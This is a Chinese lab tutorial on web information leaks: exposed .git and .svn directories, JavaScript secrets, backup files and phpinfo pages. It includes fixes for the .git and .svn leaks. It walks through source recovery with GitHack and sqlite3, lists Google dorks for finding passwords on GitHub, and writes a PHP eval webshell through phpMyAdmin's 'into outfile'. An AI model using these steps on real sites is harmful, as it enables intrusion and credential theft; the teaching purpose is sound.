预备知识
信息泄漏是指在正常情况下不能被普通用户访问的敏感信息没有被应用程序所保护,能够直接访问。就web来说这种类型的问题往往会带来巨大的危害,攻击者不仅可以轻松收集用户手机号,姓名等隐私信息,更可以借此攻入企业后台甚至是getshell。下面介绍一些常见的web信息泄漏漏洞。

.git源码泄漏

在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等。在发布代码的时候,开发人员把.git这个目录没有删除,直接发布了。黑客使用这个文件,可以用来恢复源代码。

漏洞案例:https://www.uedbox.com/post/20480/

svn源码泄漏

SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。

漏洞案例:https://www.uedbox.com/post/11873/

js敏感信息泄露

JavaScript作为一种相当简单但功能强大的客户端脚本语言,本质是一种解释型语言。所以,其执行原理是边解释边运行。上述特性就决定了JavaScript与一些服务器脚本语言(如ASP、PHP)以及编译型语言(如C、C++)不同,其源代码可以轻松被任何人获取到。一些粗心的开发者将各式敏感信息存储在JavaScript脚本中,由于JS的特性,攻击者可以对这些信息一览无余,从而导致对WEB服务和用户隐私造成不同程度的威胁。

漏洞案例:https://www.uedbox.com/post/43499/

网站备份压缩文件泄漏

在网站的使用过程中,往往需要对网站中的文件进行修改、升级。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。

漏洞案例:https://www.uedbox.com/post/43671/

phpinfo信息泄漏

phpinfo()函数主要用于网站建设过程中测试搭建的PHP环境是否正确,很多网站在测试完毕后并没有及时删除,因此当访问这些测试页面时,会输出服务器的关键信息,这些信息的泄露将导致服务器被渗透的风险。

漏洞案例:从一个phpinfo到一次半途而废的腾讯内网漫游之旅

一个小小的信息泄漏,再加上一些偶然的因素,就可能导致一个系统被渗透,并获取了服务器权限,下面开始动手实践。

实验目的
通过该实验了解常见的web敏感信息泄漏漏洞原理,掌握常见的web信息泄漏漏洞的利用和漏洞防护。

实验环境
kali      IP:随机

win7    IP:10.1.1.3

脚本下载地址:http://tools.hetianlab.com/tools/T002.zip

实验步骤一
.git源码泄漏

进入win实验机,打开c:/phpstudy/www/easytalk/,在空白处右键选择Git Bash Here

依次运行命令,git init/git add *,浏览器访问http://10.1.1.3/easytalk/.git/,可以发现能够访问到.git目录,这样就已经造成漏洞了

漏洞利用,打开kali虚拟机,进入githack目录,运行漏洞利用脚本即可把网站源码下载回来

脚本工作原理:

1.下载.git/index文件,这是一种git特有的格式,在该文件中包含着所有的文件名和文件SHA1值

2.根据该文件SHA1值到.git/objects文件夹下载对应的文件,具体路径为www.xxx.com/.git/objects/xx/checksum

3.zlib解压文件,按原始的目录结构写入源代码

(脚本下载地址:https://github.com/lijiejie/GitHack)

查看下载回来的源码,可以发现网站数据库配置文件泄露出数据库密码了

除此之外,如果项目代码有敏感信息,但开发人员粗心大意没有删除这些敏感信息,而是直接执行git push上传代码到github,同样会造成敏感信息泄漏

比如下面一些谷歌搜索语法:

site:Github.com smtp password

site:Github.com vpn password

site:Github.com ssh password

site:Github.com sa password

site:Github.com root password

site:Github.com inurl:sql

site:Github.com 密码

。。。。

部分搜索到的案例如下图所示


漏洞案例:一个github引发的畅捷通渗透测试

修复方案,对/.git目录设置403禁止访问权限,或者直接将.git目录删除,同时进行git push之前检查上传的项目是否有敏感信息,如果有及时删除后再上传。

实验步骤二
svn源码泄漏

svn<=1.6

从svn的结构图可以看到一个目录text-base,这里有我们源文件的备份,比如要下载www.xxx.com/phpinfo.php,直接访问目录www.xxx.com/.svn/text-base/phpinfo.php.text-base,一般的服务器既不会阻止该目录也不会解释该后缀,我们就可以直接读到本地来。现在只是访问最顶层的文件信息,那怎么遍历呢?这里面就有.svn/entries,这个文件包含着该基础目录下所有的文件和目录,直接递推查找就行。

svn>1.6
svn在1.6之后引入了wc.db来管理文件,该文件位于.svn/wc.db。普通文件位置:www.xxx.com/.svn/pristine/xx/checksum.svn-base,checksum是文件的sha1值,xx则是它的前两位。那这个checksum去哪找呢?就是我们刚才提到的wc.db,这是一个sqlite数据库,下面分析下这个数据库的结构。本次实验步骤使用的svn服务版本大于1.6

进入kali实验机,浏览器访问http://10.1.1.3/test/.svn/,下载wc.db,


使用sqlite3查看数据库的表 sqlite3 wc.db .table

继续查询NODES表里local_relpath和checksum的字段,可以看到所有的文件以及对应的sha1值,sqlite3 wc.db 'select local_relpath, checksum from NODES'

下一步根据sha1值构造下载连接

sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;'


所以我们可以根据以上思路利用python编写漏洞利用脚本,下载地址,已放入实验机

https://github.com/wsg00d/tool/blob/master/svn_tool.py

在kali里运行命令 python svn_tool.py http://10.1.1.3/test/

同样会导致源码泄漏,并可以查看数据库配置文件和数据库帐号密码。

 修复方案:同样可以删除.svn目录或者设置禁止访问此目录

实验步骤三
phpinfo信息泄漏

使用nikto扫描目标:nikto -h http://10.1.1.3/

可以发现扫描出有phpinfo和phpmyadmin 

根据前两步得到的数据库帐号密码root/root,登录进入phpmyadmin

同时访问phpinfo页面得到网站物理路径     

现在登录进入phpmyadmin并且为root用户,也有网站物理路径,那么可以从phpmyadmin尝试导出webshell,点击sql,输入语句

select '<?php @eval($_POST[value]);?>' into outfile ‘c://phpstudy//www//shell.php’

成功连接一句话木马

除此之外,php有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo页面来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并配合LFI利用可以getshell。

web敏感信息泄漏(36)相关推荐

  1. 风炫安全WEB安全学习第四十四节课 敏感信息泄漏

    第四十四节课 敏感信息泄漏 敏感信息泄漏 0x01 漏洞简介 敏感数据包括但不限于:口令.密钥.证书.会话标识.License.隐私数据(如短消息的内容).授权凭据.个人数据(如姓名.住址.电话等)等 ...

  2. linux心跳包检测代码_OpenSSL心跳包越界读敏感信息泄漏漏洞

    发布日期:2014-04-10 CVE ID:CVE-2014-0160 受影响的软件及系统: ==================== OpenSSL 1.0.1-OpenSSL 1.0.1f Op ...

  3. LARAVEL敏感信息泄漏

    相关声明 本文内容仅为技术科普,请勿用于非法用途.概不负责,一切后果由用户自行承担. 入行四个月了见到了很多没见过的漏洞,学习一下 LARAVEL敏感信息泄漏 高危 漏洞描述:在 laravel 框架 ...

  4. Web应用防火墙的敏感信息泄露保护功能可以防护哪些敏感数据泄漏?

    背景信息 防敏感信息泄漏功能是Web应用防火墙针对<网络安全法>提出的"网络运营者应当采取技术措施和其他必要措施,确保其收集的个人信息安全,防止信息泄露.毁损.丢失.在发生或者可 ...

  5. 6月第1周安全回顾 Flash Player漏洞危机 邮件泄漏敏感信息

    本文同时发表在:[url]http://netsecurity.51cto.com/art/200806/75634.htm[/url] 本周(080526至080601)的信息安全威胁程度为低.   ...

  6. Oracle不打算修复这两个iPlanet信息泄漏和注入漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Oracle 不打算修复 iPlanet Web Server 中的两个网页敏感信息泄漏和注入漏洞CVE-2020-9315 和 CV ...

  7. 浅谈“敏感信息泄露“

    一:漏洞名称: 敏感信息泄露 描述: 敏感数据包括但不限于:口令.密钥.证书.会话标识.License.隐私数据(如短消息的内容).授权凭据.个人数据(如姓名.住址.电话等)等,在程序文件.配置文件. ...

  8. 致远OA敏感信息泄露漏洞合集(含批量检测POC)

    文章目录 前言 敏感信息泄露 A6 status.jsp 信息泄露漏洞 漏洞描述 漏洞影响 网络测绘 漏洞复现 POC 批量检测 getSessionList.jsp Session泄漏漏洞 漏洞描述 ...

  9. 如何降低在 npm 模块中发布敏感信息的可能性

    简评:国内也有不少在开源代码里泄露敏感数据的例子,这种事一定要小心啊. 目前 npm 上有着数十万的包,而隐藏在这惊人数量之下的是更令人惊讶的敏感信息泄漏.包括 authentication toke ...

最新文章

  1. 飞书携手问卷网并肩抗“疫”,助力疫情信息申报收集工作
  2. 插入的表单控制下拉框怎么设置_想要告别表单重复填写?这一个功能就够了
  3. SAP-ABAP DESCRIBE FIELD 用法
  4. xhtml代码 中<pre>元素简单介绍
  5. OSPF协议及链路状态算法(详解)
  6. security工作笔记008---springBoot springCloud中的security配置全解
  7. jQuery Mobile中固定工具栏header、footer的data-*选项
  8. 为什么说《让子弹飞》是古今中外的神片
  9. 万能五笔输入法弹窗_万能五笔输入法
  10. 【CV2】Python中cv2使用小窗口显示高分辨率图片
  11. 中国被动元件市场规模调研与发展趋势预测报告2022版
  12. python.exe-无法找到入口
  13. 蚂蚁金服自研架构 SOFA 背后的工程师|1024快乐
  14. java 导出数据设置进度条_java控制台输出百分比进度条示例
  15. MM采购订单及发票相关后台表介绍(图解)
  16. 【BAT】修改指定的文件名称为系统当前日期
  17. 【SpringBoot】MultipartFile的transferTo()方法详解
  18. 最受欢迎的11个Python编程软件,让你的工作效率直接原地起飞
  19. Android音视频——基础介绍
  20. python题库--简单

热门文章

  1. 007 分数的基本性质(五下)
  2. 如何从零开始搭建自己的博客(通俗易懂)
  3. 用python画小仓鼠教程_彩色铅笔画步骤教程:小仓鼠的画法
  4. WebRTC初学Demo
  5. Vue创建项目的步骤
  6. 机器学习——决策树算法的应用
  7. 南大通用GBase 8c斩获鲲鹏应用创新大赛2022全国总决赛金奖
  8. 使用XXLjob中间件进行定时任务的管理
  9. 那些在开源世界顶半边天的女同胞们
  10. Linux——磁盘分区与挂载